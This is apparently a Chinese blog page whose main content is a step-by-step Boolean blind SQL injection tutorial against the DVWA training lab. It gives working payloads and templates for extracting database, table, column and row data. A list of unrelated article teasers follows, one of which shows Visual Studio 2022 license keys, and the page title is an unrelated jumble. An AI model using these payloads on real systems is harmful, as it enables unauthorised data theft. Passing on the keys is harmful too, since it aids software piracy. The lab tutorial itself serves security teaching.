域名 做网站和邮箱/中国进入全国紧急状态
布尔盲注(Boolean Blind SQL Injection)是一种SQL注入攻击技术,用于在无法直接获得查询结果的情况下推断数据库信息;它通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息。接着我们以DVWA靶场中的SQL Injection(Bind)
为例子进行解释;
可以看到该靶场只能显示数据库中是否存在该ID,并不会显示其他数据,那么此时我们就无法直接获得查询结果的情况下推断数据库信息,因此联合查询已经无法满足要求,那么我们就可以使用布尔盲注或其他的注入思想突破。
步骤:
①确定注入点以及注入类型
判断注入点和注入类型直接使用通过的判断语句进行即可;
若下列语句符合回显预期则为整型注入:
1 and 1=1 //正常回显
1 and 1=2 //无回显
此时的回显结果:
由该回显可得此注入点非整型注入
接着可以使用常规的判断字符型注入的语句来进行测试,若符合预期则可判定为字符型注入
1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显
此时回显结果为:
可以看到以单引号作为闭合符号的语句符合回显预期,此时注入类型就是字符型注入
②推测数据库信息
该步骤分为2个小步骤:1)推测数据库名长度
2)得到数据库名
推测数据库名长度
此时需要两个Mysql的函数帮助我们进行推测:①database()函数返回当前数据库的名称
②length()用于获取字符串长度
这两个函数正常使用,能够获取当前数据库名长度:
select length(database());
并且此时可以以此来判断当前数据库名的长度,可以看到当我们得到正确的数据库名长度时,将会得到true的结果。
那么此时的测试的语句为:
1' and length(database()) =1 #
1' and length(database()) =2 #
1' and length(database()) =3 #
1' and length(database()) =4 #
...
判断得到数据库名的长度为4。
得到数据库名
这个时候要得到数据库名则需要使用两个函数:
①ascii()
返回字符的ASCII码
②substr(str,start,length)
返回字符串从str的start开始往后截取length长度的字符
两个函数的正常使用:可以得到数据库名的所有字符的ascii码
100:d 118:v 119:w 97:a ===> dvwa
以此可以构建语句
1' and ascii(substr(database(),1,1)) > 90 # //判断数据库名第一个字符的ascii码是否大于90(接下去就是重复工作了,一个一个猜)
此时完整的查询语句
select id,email from member where username='1' and ascii(substr(database()),1,1) > 90 #'
猜对回显正常:
猜错回显异常:
1' and substr(database(),1,1) > 110 #
最后得到数据库名为dvwa
③推测数据库中的表信息
该步骤需要用到information_schema数据库且包含3小步:猜表的数量–>猜表的名称的长度–>猜表的名称
猜表的数量
此处需要使用到count
函数;COUNT()
函数是SQL中的一个聚合函数,用于计算指定列中的非空值的数量,它可以应用于不同的场景,如统计某个表中的行数、统计满足特定条件的行数等。
猜表数量的正常的使用:
这个时候可以构造语句得到表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema="dvwa") = 2 #
还是猜,猜对了回显正常,猜错了回显异常:
猜表的名称的长度
这个时候通过得到的表的数量就可以去猜每个表的名称,此时需要使用到的子句和函数
①LIMIT
子句用于限制查询结果的数量(limit 0,1第一行/limit 1,1第二行....)
②substr(str,pos)
返回从pos开始的所有字符
③length()
获取表名长度
正常使用:
获取当前数据库第一个表的表名
获取当前数据库第一个表的表名的长度
此时可以构建语句进行测试:
1' and length(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1)) = 9 #
还是需要猜,长度猜对了回显正常,猜错了回显异常(可以配合大于号小于号进行猜测):
猜表的名称
此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜:猜对回显正常,猜错回显异常。
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1,1)) = 103 #
一个字符一个字符去猜(此处需要用到上述得到的表的个数和表名长度)
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 个数变量,1),长度变量,1)) = 103 #
最后可以得到的全部表:
④推测数据列信息
此步也分为几个小步骤:猜列的数量–>猜列的长度–>列的名称;方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可;以下为模板套着用就好了。
猜列的数量(需要用到上述得到的表名)
1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='表名')=数字 #
猜列名的长度(需要用到表名、获取的列的数量)
1' and length(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ),1))=长度数字#
列的名称(需要用到表名、获取的列的数量、列名的长度)
1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ) ,1~列名的长度,1) )=ASCII码#
最后可以得到表的全部列(此处以users表为例子)
⑤推测数据
该步骤分为两小步:1)猜测当前数据的长度
2)猜测数据内容
1)猜测当前数据的长度
具体思路与上述一样,直接上模板
1' and length(substr((select 列名 from 表名 limit 0-列的数量,1 ),1))=ASCII码#
如此时我要判断users表中的user列第一行的数据长度,猜测该段是否为5
1' and length(substr((select user from users limit 0,1 ),1))=5#
猜对回显正常,猜错回显异常;
2)猜测数据内容
判断数据第一个字符的ascii码值
1' and ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=ASCII码 #
接下去就是重复工作了,手工布尔盲注比较麻烦,建议还是根据该文章的思路写个脚本结合二分法进行自动化突破,或者使用Sqlmap
、Burpsuite
工具进行数据拖取。
相关文章:

sql注入-布尔盲注
布尔盲注(Boolean Blind SQL Injection)是一种SQL注入攻击技术,用于在无法直接获得查询结果的情况下推断数据库信息;它通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信…...

docker-compose部署 kafka 3.7 集群(3台服务器)并启用账号密码认证
文章目录 1. 规划2. 服务部署2.1 kafka-012.2 kafka-022.3 kafka-032.4 启动服务 3. 测试3.1 kafkamap搭建(测试工具)3.2 测试 1. 规划 服务IPkafka-0110.10.xxx.199kafka-0210.10.xxx.198kafka-0310.10.xxx.197kafkamp10.10.xxx.199 2. 服务部署 2.1…...

LeetCode-704. 二分查找【数组 二分查找】
LeetCode-704. 二分查找【数组 二分查找】 题目描述:解题思路一:注意开区间和闭区间背诵版:解题思路三: 题目描述: 给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target …...

Rust 性能分析
都说Rust性能好,但是也得代码写得好,猜猜下面两个代码哪个快 . - 力扣(LeetCode) use std::collections::HashMap; use lazy_static::lazy_static;lazy_static! {static ref DIGIT: HashMap<char, usize> {let mut m HashMap::new();for c in …...

Gradle和Maven都是广泛使用的项目自动化构建工具
Gradle和Maven都是广泛使用的项目自动化构建工具,但它们在多个方面存在差异。以下是关于Gradle和Maven的详细对比: 一、构建脚本语言 Maven:使用XML作为构建脚本语言。XML的语法较为繁琐,不够灵活,对于复杂的构建逻辑…...

Seed-TTS语音编辑有多强?对比实测结果让你惊叹!
GLM-4-9B 开源系列模型 前言 就在最近,ByteDance的研究人员最近推出了一系列名为Seed-TTS的大规模自回归文本转语音(TTS)模型,能够合成几乎与人类语音无法区分的高质量语音。那么Seed-TTS的表现究竟有多强呢?让我们一起来感受下Seed-TTS带来的惊喜吧! 介绍Seed-TTS…...

Vue3——实现word,pdf上传之后,预览功能(实测有效)
vue-office/pdf - npm支持多种文件(**docx、excel、pdf**)预览的vue组件库,支持vue2/3。也支持非Vue框架的预览。. Latest version: 2.0.2, last published: a month ago. Start using vue-office/pdf in your project by running npm i vue-office/pdf. There are …...

JVM之【类的生命周期】
首先,请区分Bean的声明周期和类的声明周期。此处讲的是类的声明周期 可以同步观看另一篇文章JVM之【类加载机制】 概述 在Java中数据类型分为基本数据类型和引用数据类型 基本数据类型由虚拟机预先定义,引用数据类型则需要进行类的加载 按照]ava虚拟机…...

分库分表场景下,如何设计与实现一种高效的分布式ID生成策略
在构建大规模分布式系统时,随着数据量的爆炸式增长,单个数据库往往难以承载如此庞大的数据存储与访问需求。这时,分库分表便成为一种有效的解决方案,它通过将数据分散存储在多个数据库或表中,从而提高系统的处理能力和…...

机器人系统ros2-开发学习实践16-RViz 用户指南
RViz 是 ROS(Robot Operating System)中的一个强大的 3D 可视化工具,用于可视化机器人模型、传感器数据、路径规划等。以下是RViz用户指南,帮助你了解如何使用RViz来进行机器人开发和调试。 启动可视化工具 ros2 run rviz2 rviz2…...

安全测试 之 安全漏洞 CSRF
1. 背景 安全测试是在功能测试的基础上进行的,它验证软件的安全需求,确保产品在遭受恶意攻击时仍能正常运行,并保护用户信息不受侵犯。 2. CSRF 定义 CSRF(Cross-Site Request Forgery),中文名为“跨站请…...

交易中的预测和跟随
任何的交易决策,一定是基于某种推理关系的,这种推理关系是基于t时刻之前的状态,得到t时刻之后的结果,我们基于这种推理关系,根据当前的状态,形成了未来结果的某种预期,然后基于这种预期采取相应…...

vs2022专业版永久密钥
vs2022专业版永久密钥: vs2022专业版永久密钥: Visual Studio 2022 Enterprise:VHF9H-NXBBB-638P6-6JHCY-88JWH Visual Studio 2022 Professional:TD244-P4NB7-YQ6XK-Y8MMM-YWV2J...

MongoDB环境搭建
一.下载安装包 Download MongoDB Community Server | MongoDB 二、双击下载完成后的安装包开始安装,除了以下两个部分需要注意操作,其他直接next就行 三.可视化界面安装 下载MongoDB-compass,地址如下 MongoDB Compass Download (GUI) | M…...

数据结构【队列】
队列的的概念 队列是一种特殊的线性表,特殊之处在于它只允许在表的头部进行删除操作,而在表的尾部进行插入操作,和栈一样,队列是一种操作受限制的线性表。进行插入操作的端称为队尾,进行删除操作的端称为队头。队列中…...

微信小程序上架,AI类目审核(AI问答、AI绘画、AI换脸)
小程序对于生成式AI类目的产品上架审核较为严格,这也是近两年新增了几个类目,一旦小程序中涉及生成式AI相关的内容,如果你选择相应类目,但审核被划归为这一类,都需要准备此类目的审核,才能正常上架。 如果…...

Vue3学习记录(第一天)
Vue3学习记录_第一天 背景说明记录Vue3实现响应式前端的反射前端对象的属性赋值Vue3响应式实现过程稿前端移除对象的属性 背景 本次学习主要是看视频学习, 没有跟练, 但是很多知识点感觉又容易忘记. 所以通过笔记的方式输出一下. 说明 估计只能自己看懂, 如果能提供一些其他…...

springboot+vue+mybatis房屋租贷系统+PPT+论文+讲解+售后
本论文系统地描绘了整个网上房屋租赁系统的设计与实现,主要实现的功能有以下几点:管理员;首页、个人中心、房屋类型管理、房屋租赁管理、会员管理、订单信息管理、合同信息管理、退房评价管理、管理员管理,系统管理,前…...

Day30 登录界面设计
本章节,实现了登录界面窗口设计 一.准备登录界面图片素材(透明背景图片) 把准备好的图片放在 Images 文件夹下面,格式分别是 .png和 .icoico 图片,右键属性,生成操作选 内容 png 图片,右键属性,生成操作选 资源 选中 login.png图片鼠标右键,选择属性。生成的操作选…...

VOJ 迷阵突围 题解 次短路径 dijkstra算法
迷阵突围 题目描述 小明陷入了坐标系上的一个迷阵,迷阵上有 n 个点,编号从 1 到 n 。小明在编号为 1 的位置,他想到编号为 n 的位置上。小明当然想尽快到达目的地,但是他觉得最短的路径可能有风险,所以他会选择第二短…...

Oracle SQL详解
Oracle SQL是一种用于管理和操作Oracle数据库的编程语言。以下是一些基本的Oracle SQL语法和建表建用户的详解。 创建用户 在Oracle中,创建用户通常需要具有足够权限的用户(通常是具有DBA角色的用户)。以下是一个创建用户的例子:…...

产业,到底需要什么大模型?
[ 产业究竟需要怎样的大模型?关于这个问题,本文作者便提出了他的看法,并总结了产业大模型目前阶段的三点落地挑战。一起来看看,或许可以帮助你更好地理解大模型与行业、与产业的融合。 写下这篇的起因,是前不久的一件事…...

每日5题Day17 - LeetCode 81 - 85
每一步向前都是向自己的梦想更近一步,坚持不懈,勇往直前! 第一题:81. 搜索旋转排序数组 II - 力扣(LeetCode) class Solution {public boolean search(int[] nums, int target) {int n nums.length;if (n…...

后端开发面经系列 --中望C++面经
中望C面经,全部内容! 公众号:阿Q技术站 文章目录 中望C面经,全部内容!一面 8.15 时长45min1、介绍项目相关2、gdb怎么调试的?打断点用什么指令?3、gcc的编译过程4、cmake添加头文件搜索路径用…...

德国西门子论未来质量管理 - 如何与明天相遇?
未来制造业的质量 -- 如何用软件方案满足质量要求 作者:Bill Butcher 翻译&编辑:数字化营销工兵 【前言】在Frost&Sullivan最近发表的一份白皮书中,他们讨论了制造业的质量投资。质量是制造过程的关键要素,但似乎比其他…...

webpack快速入门---webpack的安装和基本使用
webpack是什么 本质上,webpack 是一个用于现代 JavaScript 应用程序的 静态模块打包工具。当 webpack 处理应用程序时,它会在内部从一个或多个入口点构建一个 依赖图(dependency graph),然后将你项目中所需的每一个模块组合成一个或多个 bund…...

后端开发面经系列 -- 华为C++一面面经
HUAWEI – C一面面经 公众号:阿Q技术站 来源:https://www.nowcoder.com/feed/main/detail/b8113ff340d7444985b32a73c207c826 1、计网的协议分几层?分别叫什么? OSI七层模型 物理层 (Physical Layer): 负责物理设备之间的原始比…...

csrf漏洞与ssrf漏洞
环境:用kali搭建的pikachu靶场 一.CSRF 1.CSRF漏洞简介 跨站请求伪造(CSRF)漏洞是一种Web应用程序安全漏洞,攻击者通过伪装成受信任用户的请求来执行未经授权的操作。这可能导致用户在不知情的情况下执行某些敏感操作࿰…...

AWS EC2服务器开启root密码,SSH登录
1) EC2 Instance Connect连接,更改root密码 sudo passwd root 2)接着切换到切换到 root 身份,编辑 SSH 配置文件 $ sudo -i$ vi /etc/ssh/sshd_configPasswordAuthentication no,把 no 改成 yes #PermitRootLogin prohibit-passw…...

常见代码版本管理工具
目录 一、引言 二、Gitee (一)优点与特点 (二)缺点 (三)使用报告 三、GitHub 四、SVN 五、总结 一、引言 在软件开发过程中,代码版本控制工具是不可或缺的。Gitee、GitHub和SVN是三种常…...